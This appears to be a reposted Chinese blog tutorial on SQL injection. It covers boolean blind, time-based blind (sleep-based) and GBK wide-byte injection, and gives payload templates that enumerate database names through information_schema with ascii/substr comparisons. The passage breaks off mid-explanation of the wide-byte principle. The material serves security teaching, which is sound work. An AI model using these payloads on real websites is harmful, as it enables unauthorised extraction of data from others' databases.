SQL注入——布尔盲注,时间盲注,宽字节注入

xiaoxiao2021-02-28  31

布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: substr(string,num start,num length) string 为字符串 string 为字符串 length 为长度 ascii( )函数 作用:返回字符串str的字符ASCII码值。如果str是空字符串,返回0.如果string是 NULL,返回NULL。 布尔盲注利用过程 布尔盲注过程代码模板: (select count(schema_name) from information_schema.sc hemata)> n n为数据库个数,当数据库个数大于n页面显示正常 (select length(schema_name) from information_schema.s chemata limit 0,1)> n 该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常 (select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1), 1, 1)))>105 ascii()将返回字符串的ascii值   第一个1,表示截取字符串的起始位置 第二个1,表示截取字符串长度 该语句作用:判断第一个库第一个字符是什么 时间盲注 时间盲注利用前提条件: 页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。 时间盲注常用函数: IF(判断语句,A,B) 如果判断语句为真,则返回A 为假则返回B 一般和布尔盲注语句配合使用: if(ascii(substr(“payload”, 1, 1))=104, sleep(5), 1) 如果第一个,号前的语句成立,则页面返回速度慢5秒 不成立,页面立即返回 时间盲注过程: if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数 if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1) if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符 宽字节注入 宽子节注入只有在,服务器页面代码中使用了gbk编码等汉字编码方式时才有效。 通常,当页面源代码中使用了 addslashes( )函数对用户输入的参数进行过滤,并且使用的是字符串查询的方式时。那么前面我们介绍的几种SQL注入方式就都不能用了 这种情况下如果页面使用的不是utf-8之类的编码方式,而用的是汉字编码方式gbk等,我们就可以使用宽子节注入。 addslashes() 函数 函数返回在预定义字符之前添加反斜杠的字符串 预定义字符:  单引号(')  双引号(")  反斜杠(\)  NULL 宽字节注入原理 mysql_query(“SET NAMES ‘gbk’”,$conn)语句将数据库编码字符集修改为 GBK格式。此时,
转载请注明原文地址: https://www.6miu.com/read-2800002.html

最新回复(0)